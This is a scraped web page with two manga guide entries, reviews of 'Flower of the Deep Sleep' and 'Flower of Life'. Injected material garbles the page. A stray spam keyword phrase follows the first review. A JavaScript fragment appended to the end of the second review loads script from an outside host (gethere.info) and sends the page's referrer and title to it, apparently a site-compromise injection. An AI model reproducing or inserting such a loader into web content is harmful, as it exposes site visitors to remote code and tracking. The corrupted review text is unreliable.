Flower of Deep Sleep manga

FLOWER OF THE DEEP SLEEP

Fukai Nemuri no Hana, “Flower of Deep Sleep” (  ) • Yuana Kazumi • Tokyopop (2005) • Kadokawa Shoten (Asuka, 2002–2003) • 2 volumes • Shôjo, Fantasy, Drama • 13+ (mild violence)

Yuuki, a girl who has sad dream visions of the future, is caught in a understated love triangle between her own sister, Yuuka, and two brothers who they are fated to marry: Ryuune, who can read minds, and Ryuunosuke, who has the psychic power to soothe. When a strange dream girl—perhaps the personification of the desire for oblivion—starts to drag people into a comalike sleep, Yuuki must enter people’s dreams and save them. A wistful, vague tale of dreams and memories, Flower of the Deep Sleep has an interesting premise, but the story is confusing and poorly explained. The art has a soft, sketchy, breezy quality; it’s hard to tell the dreamworld from the real world, the flashbacks from the present, or one page from any other page. attack on titan manga 1 amazon

FLOWER OF LIFE

(  ) • Fumi Yoshinaga • DMP (2007–ongoing) • Shinshokan (Wings, 2004–ongoing) • 3+ volumes (ongoing) • Shôjo, Comedy • 16+

Fumi Yoshinaga (Antique Bakery, Gerard & Jacques), best known for her yaoi work, turns to the high school comedy genre. A serious illness forces Harutaro to miss the first month of high school, but with the help of his chubby friend Shota, he tries to get back into the swing of things. Manga clubs, high school plays, and romance, all written in Yoshinaga’s exceptional style.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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